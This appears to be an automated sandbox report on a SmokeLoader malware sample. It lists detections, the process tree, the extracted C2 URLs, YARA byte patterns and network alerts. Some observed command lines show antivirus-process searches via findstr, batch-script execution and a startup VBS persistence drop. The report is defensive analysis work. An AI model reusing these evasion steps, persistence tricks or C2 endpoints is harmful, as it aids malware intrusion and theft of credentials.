Edit tour

Windows Analysis Report
hoEtvOOrYH.exe

Overview

General Information

Sample name:	hoEtvOOrYH.exe renamed because original name is a hash value
Original sample name:	2a270773553cfdca5c1fdbf24d44f18c.exe
Analysis ID:	1582512
MD5:	2a270773553cfdca5c1fdbf24d44f18c
SHA1:	ba5a6399c539f549b519f084c54852b6d434b030
SHA256:	3ffb13f7f47722571dc7271ebbb09c2b893d4efe9a515f19fccc5e75cfa93220
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM3

Yara detected SmokeLoader

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Drops VBS files to the startup folder

Found many strings related to Crypto-Wallets (likely being stolen)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses dynamic DNS services

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes many files with high entropy

Yara detected Costura Assembly Loader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

hoEtvOOrYH.exe (PID: 7296 cmdline: "C:\Users\user\Desktop\hoEtvOOrYH.exe" MD5: 2A270773553CFDCA5C1FDBF24D44F18C)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

A723.exe (PID: 6048 cmdline: C:\Users\user\AppData\Local\Temp\A723.exe MD5: 3B3D41663F63FF253217889380CDE23F)

cmd.exe (PID: 7548 cmdline: "C:\Windows\System32\cmd.exe" /c copy Birth Birth.cmd && Birth.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7656 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7660 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7700 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 1712 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

3E6C.exe (PID: 5796 cmdline: C:\Users\user\AppData\Local\Temp\3E6C.exe MD5: 22059CF3BA4B5338116E054D63DBCB46)

RegAsm.exe (PID: 6416 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

C3F.exe (PID: 6872 cmdline: C:\Users\user\AppData\Local\Temp\C3F.exe MD5: 53C60D599AA498ED4EFA79BA0B12E29F)

cmd.exe (PID: 7052 cmdline: "C:\Windows\System32\cmd.exe" /c move Focused Focused.cmd & Focused.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 2056 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

Result.exe (PID: 5852 cmdline: "C:\Users\user\AppData\Roaming\Result.exe" MD5: 22059CF3BA4B5338116E054D63DBCB46)

RegAsm.exe (PID: 3284 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

jagvise (PID: 7684 cmdline: C:\Users\user\AppData\Roaming\jagvise MD5: 2A270773553CFDCA5C1FDBF24D44F18C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://d-s-p.ru/tmp/index.php", "http://volisolsa.com.ua/tmp/index.php", "http://wga2s.cc/tmp/index.php", "http://worldofmorgan.com/tmp/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.3947321786.0000000003027000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1732204208.0000000000880000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.1732453969.0000000002471000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1732453969.0000000002471000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x234:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.1983884104.0000000000A28000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x32f6:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1732280470.00000000008AA000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x3a56:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.4116101719.0000000006C60000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.1983794099.00000000009B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.1983794099.00000000009B0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x634:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1732336579.0000000000990000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1732336579.0000000000990000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x634:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.1983746430.0000000000880000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000005.00000002.1983822753.00000000009D1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.1983822753.00000000009D1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x234:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
Process Memory Space: 3E6C.exe PID: 5796	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 3E6C.exe PID: 5796	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 3284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.3E6C.exe.6c60000.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 2580, ParentProcessName: explorer.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs" , ProcessId: 2056, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 87.120.115.216, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, Initiated: true, ProcessId: 6416, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 50073

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\jagvise, CommandLine: C:\Users\user\AppData\Roaming\jagvise, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\jagvise, NewProcessName: C:\Users\user\AppData\Roaming\jagvise, OriginalFileName: C:\Users\user\AppData\Roaming\jagvise, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Users\user\AppData\Roaming\jagvise, ProcessId: 7684, ProcessName: jagvise

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Birth Birth.cmd && Birth.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Birth Birth.cmd && Birth.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\A723.exe, ParentImage: C:\Users\user\AppData\Local\Temp\A723.exe, ParentProcessId: 6048, ParentProcessName: A723.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Birth Birth.cmd && Birth.cmd, ProcessId: 7548, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 2580, ParentProcessName: explorer.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs" , ProcessId: 2056, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\3E6C.exe, ProcessId: 5796, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Birth Birth.cmd && Birth.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7548, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 1712, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T19:43:07.643862+0100	2028371	3	Unknown Traffic	192.168.2.4	49760	23.145.40.181	443	TCP
2024-12-30T19:44:08.353051+0100	2028371	3	Unknown Traffic	192.168.2.4	49962	23.145.40.181	443	TCP
2024-12-30T19:45:10.243183+0100	2028371	3	Unknown Traffic	192.168.2.4	50050	51.79.230.147	443	TCP
2024-12-30T19:45:37.881439+0100	2028371	3	Unknown Traffic	192.168.2.4	50064	192.185.146.136	443	TCP
2024-12-30T19:45:55.393275+0100	2028371	3	Unknown Traffic	192.168.2.4	50076	45.118.248.184	443	TCP

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T19:42:23.662544+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49736	58.151.148.90	80	TCP
2024-12-30T19:42:25.118879+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49737	58.151.148.90	80	TCP
2024-12-30T19:42:26.599116+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49738	58.151.148.90	80	TCP
2024-12-30T19:42:28.066270+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49739	58.151.148.90	80	TCP
2024-12-30T19:42:29.526498+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49740	58.151.148.90	80	TCP
2024-12-30T19:42:31.023710+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49741	58.151.148.90	80	TCP
2024-12-30T19:42:32.476347+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49742	58.151.148.90	80	TCP
2024-12-30T19:42:33.955334+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49743	58.151.148.90	80	TCP
2024-12-30T19:42:35.391274+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49744	58.151.148.90	80	TCP
2024-12-30T19:42:36.871674+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49745	58.151.148.90	80	TCP
2024-12-30T19:42:38.356537+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49746	58.151.148.90	80	TCP
2024-12-30T19:42:40.059112+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49747	58.151.148.90	80	TCP
2024-12-30T19:42:41.554692+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49748	58.151.148.90	80	TCP
2024-12-30T19:42:43.007851+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49749	58.151.148.90	80	TCP
2024-12-30T19:42:44.454560+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49750	58.151.148.90	80	TCP
2024-12-30T19:42:45.942343+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49751	58.151.148.90	80	TCP
2024-12-30T19:42:47.461369+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49752	58.151.148.90	80	TCP
2024-12-30T19:42:48.939673+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49753	58.151.148.90	80	TCP
2024-12-30T19:42:50.395023+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49754	58.151.148.90	80	TCP
2024-12-30T19:42:52.207696+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49755	58.151.148.90	80	TCP
2024-12-30T19:42:53.672878+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49757	58.151.148.90	80	TCP
2024-12-30T19:42:55.177365+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49758	58.151.148.90	80	TCP
2024-12-30T19:43:09.099716+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49841	58.151.148.90	80	TCP
2024-12-30T19:43:10.550269+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49849	58.151.148.90	80	TCP
2024-12-30T19:43:12.024918+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49859	58.151.148.90	80	TCP
2024-12-30T19:43:13.485834+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49869	58.151.148.90	80	TCP
2024-12-30T19:43:15.049252+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49880	58.151.148.90	80	TCP
2024-12-30T19:43:16.522075+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49891	58.151.148.90	80	TCP
2024-12-30T19:43:18.168833+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49901	58.151.148.90	80	TCP
2024-12-30T19:43:19.670064+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49912	58.151.148.90	80	TCP
2024-12-30T19:43:21.135846+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49923	58.151.148.90	80	TCP
2024-12-30T19:43:22.603639+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49931	58.151.148.90	80	TCP
2024-12-30T19:43:24.081589+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49941	58.151.148.90	80	TCP
2024-12-30T19:43:25.585791+0100	2039103	1	A Network Trojan was detected	192.168.2.4	49951	58.151.148.90	80	TCP
2024-12-30T19:44:55.486527+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50040	58.151.148.90	80	TCP
2024-12-30T19:44:57.052287+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50041	58.151.148.90	80	TCP
2024-12-30T19:44:58.529236+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50042	58.151.148.90	80	TCP
2024-12-30T19:45:00.019203+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50043	58.151.148.90	80	TCP
2024-12-30T19:45:01.707328+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50044	58.151.148.90	80	TCP
2024-12-30T19:45:03.192960+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50045	58.151.148.90	80	TCP
2024-12-30T19:45:04.796958+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50046	58.151.148.90	80	TCP
2024-12-30T19:45:06.282513+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50047	58.151.148.90	80	TCP
2024-12-30T19:45:07.746326+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50048	58.151.148.90	80	TCP
2024-12-30T19:45:09.281261+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50049	58.151.148.90	80	TCP
2024-12-30T19:45:18.689928+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50051	58.151.148.90	80	TCP
2024-12-30T19:45:20.211488+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50052	58.151.148.90	80	TCP
2024-12-30T19:45:21.698461+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50053	58.151.148.90	80	TCP
2024-12-30T19:45:23.176825+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50054	58.151.148.90	80	TCP
2024-12-30T19:45:24.673637+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50055	58.151.148.90	80	TCP
2024-12-30T19:45:26.125995+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50056	58.151.148.90	80	TCP
2024-12-30T19:45:27.932092+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50057	58.151.148.90	80	TCP
2024-12-30T19:45:29.410428+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50058	58.151.148.90	80	TCP
2024-12-30T19:45:30.888815+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50059	58.151.148.90	80	TCP
2024-12-30T19:45:32.675599+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50060	58.151.148.90	80	TCP
2024-12-30T19:45:34.174731+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50061	58.151.148.90	80	TCP
2024-12-30T19:45:35.676528+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50062	58.151.148.90	80	TCP
2024-12-30T19:45:37.142096+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50063	58.151.148.90	80	TCP
2024-12-30T19:45:40.839738+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50065	58.151.148.90	80	TCP
2024-12-30T19:45:42.293796+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50066	58.151.148.90	80	TCP
2024-12-30T19:45:43.757379+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50068	58.151.148.90	80	TCP
2024-12-30T19:45:45.285811+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50069	58.151.148.90	80	TCP
2024-12-30T19:45:47.149474+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50070	58.151.148.90	80	TCP
2024-12-30T19:45:51.685577+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50072	58.151.148.90	80	TCP
2024-12-30T19:45:53.145325+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50074	58.151.148.90	80	TCP
2024-12-30T19:45:54.619208+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50075	58.151.148.90	80	TCP
2024-12-30T19:46:03.408545+0100	2039103	1	A Network Trojan was detected	192.168.2.4	50079	58.151.148.90	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: hoEtvOOrYH.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://d-s-p.ru/tmp/index.php

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\jagvise

Avira: detection malicious, Label: HEUR/AGEN.1312567

Found malware configuration

Source: 00000005.00000002.1983794099.00000000009B0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://d-s-p.ru/tmp/index.php", "http://volisolsa.com.ua/tmp/index.php", "http://wga2s.cc/tmp/index.php", "http://worldofmorgan.com/tmp/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\A723.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Roaming\Result.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Roaming\jagvise	ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: hoEtvOOrYH.exe

ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Result.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\jagvise	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: hoEtvOOrYH.exe

Joe Sandbox ML: detected

Source: hoEtvOOrYH.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 51.79.230.147:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.146.136:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.175.158:443 -> 192.168.2.4:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.118.248.184:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.175.158:443 -> 192.168.2.4:50077 version: TLS 1.2

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: 3E6C.exe, 0000000C.00000002.4121138096.0000000006EC0000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.0000000003F89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: 3E6C.exe, 0000000C.00000002.4121138096.0000000006EC0000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.0000000003F89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\A723.exe	Code function: 7_2_00406301 FindFirstFileW,FindClose,	7_2_00406301
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Code function: 7_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	7_2_00406CC7
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Code function: 14_2_004062D5 FindFirstFileW,FindClose,	14_2_004062D5
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Code function: 14_2_00402E18 FindFirstFileW,	14_2_00402E18
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Code function: 14_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	14_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\
